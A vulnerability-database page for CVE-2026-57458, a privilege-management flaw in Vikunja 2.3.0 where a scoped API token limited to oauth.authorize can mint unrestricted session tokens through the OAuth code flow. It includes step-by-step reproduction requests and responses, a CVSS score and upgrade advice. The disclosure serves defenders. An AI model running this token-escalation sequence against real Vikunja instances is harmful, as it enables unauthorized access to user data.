Skip to main content

CVE-2026-57458: CWE-269: Improper Privilege Management in go-vikunja vikunja

0
High
Published: 10/09/2026 (10/09/2026, 20:46:29 UTC)
Source: CVE Database V5
Vendor/Project: go-vikunja
Product: vikunja

Description

## Summary A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials. A token limited to: ```json {"oauth":["authorize"]} ``` can call `/api/v1/oauth/authorize`, receive an OAuth authorization code, exchange it at `/api/v1/oauth/token`, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions. ## Affected Component * Scoped API tokens * OAuth authorization flow * `POST /api/v1/oauth/authorize` * `POST /api/v1/oauth/token` ## Impact A narrowly scoped API token with only `oauth.authorize` can be converted into normal session credentials for the same user. This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope. Runtime validation showed that the original scoped token could not access `GET /api/v1/user`, but the minted OAuth access token could access: * `GET /api/v1/user` * `GET /api/v1/projects` No cross-user access, privilege escalation to admin, or access to another account was validated. ## Technical Details The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance. The vulnerable chain is: 1. A scoped API token authenticates the request and sets the current user context. 2. `/api/v1/oauth/authorize` accepts that API-token-authenticated user as a valid OAuth resource owner. 3. The OAuth authorization endpoint issues an authorization code. 4. `/api/v1/oauth/token` exchanges that code for a normal bearer JWT and refresh token. 5. The resulting credentials are not bound to the original API-token permissions. Relevant code paths: * `pkg/routes/routes.go` * registers `/api/v1/oauth/authorize` in an authenticated API route group that also accepts scoped API tokens * `pkg/models/api_routes.go` * exposes non-CRUD subroutes as API-token permissions * exposes the OAuth authorization endpoint under the `oauth` permission group * `pkg/routes/api_tokens.go` * stores `api_token` and `api_user` in the request context during API-token authentication * `pkg/user/user.go` * treats `api_user` as an authenticated current user * `pkg/modules/auth/oauth2server/authorize.go` * uses the current user and issues an OAuth authorization code * `pkg/modules/auth/oauth2server/token.go` * exchanges the authorization code for a normal JWT and refresh token ## Steps to Reproduce ### 1. Create a scoped API token Create an API token with only the following permission: ```json {"oauth":["authorize"]} ``` Observed response: ```http 201 Created ``` The returned token had only the `oauth.authorize` permission. ### 2. Negative control: direct access with scoped token fails Request: ```http GET /api/v1/user Authorization: Bearer <scoped-api-token> ``` Observed response: ```http 401 Unauthorized ``` Response body: ```json {"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"} ``` This confirms that the scoped token cannot directly access the normal user route. ### 3. Obtain an OAuth authorization code with the scoped token Request: ```http POST /api/v1/oauth/authorize Authorization: Bearer <scoped-api-token> Content-Type: application/json ``` Body: ```json { "response_type": "code", "client_id": "vikunja", "redirect_uri": "vikunja-flutter://callback", "code_challenge": "<pkce-s256-challenge>", "code_challenge_method": "S256" } ``` Observed response: ```http 200 OK ``` Response body: ```json { "code": "<redacted>", "redirect_uri": "vikunja-flutter://callback", "state": "" } ``` The scoped API token successfully obtained an OAuth authorization code. ### 4. Exchange the authorization code for session credentials Request: ```http POST /api/v1/oauth/token Content-Type: application/json ``` Body: ```json { "grant_type": "authorization_code", "code": "<redacted>", "client_id": "vikunja", "redirect_uri": "vikunja-flutter://callback", "code_verifier": "<original-pkce-verifier>" } ``` Observed response: ```http 200 OK ``` Response body: ```json { "access_token": "<redacted>", "token_type": "bearer", "expires_in": 600, "refresh_token": "<redacted>" } ``` The authorization code was exchanged for a normal access token and refresh token. ### 5. Use the minted access token on normal routes Request: ```http GET /api/v1/user Authorization: Bearer <minted-oauth-access-token> ``` Observed response: ```http 200 OK ``` Additional scope check: ```http GET /api/v1/projects Authorization: Bearer <minted-oauth-access-token> ``` Observed response: ```http 200 OK ``` The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access. ## Expected Behavior A scoped API token should not be able to

CVSS v3.1

Score 8.1high

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Affected software

go-vikunja

vikunja

Affected versions
=2.3.0
github.com/go-vikunja/vikunja
pkg:golang/github.com/go-vikunja/vikunja
Affected versions
=2.3.0

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 10/09/2026, 21:18:19 UTC

Technical Analysis

In Vikunja 2.3.0, a scoped API token restricted to the 'oauth.authorize' permission can call the OAuth authorization endpoint to obtain an authorization code and exchange it for a bearer JWT and refresh token. These resulting credentials are not limited by the original token's scope, enabling access to API routes outside the declared permissions for the same user. This is an improper privilege management vulnerability (CWE-269). The vulnerability is resolved in version 2.4.0.

Potential Impact

An attacker with a scoped API token limited to 'oauth.authorize' can escalate privileges by obtaining bearer tokens that grant broader access than intended. This can lead to unauthorized access to protected API routes and potentially sensitive user data. The vulnerability has a high CVSS score of 8.1, indicating significant confidentiality and integrity impact without requiring user interaction.

Mitigation Recommendations

Upgrade to Vikunja version 2.4.0 or later, where this privilege escalation vulnerability is fixed. No other mitigations are specified.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Data Version
5.2
Assigner Short Name
GitHub_M
Date Reserved
2026-06-24T13:21:20.731Z
Cvss Version
3.1
State
PUBLISHED

Threat ID: 6ac956c12cdf04f656834bed

Added to database: 10/09/2026, 21:04:01 UTC

Last enriched: 10/09/2026, 21:18:19 UTC

Last updated: 10/09/2026, 22:44:36 UTC

Views: 6

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses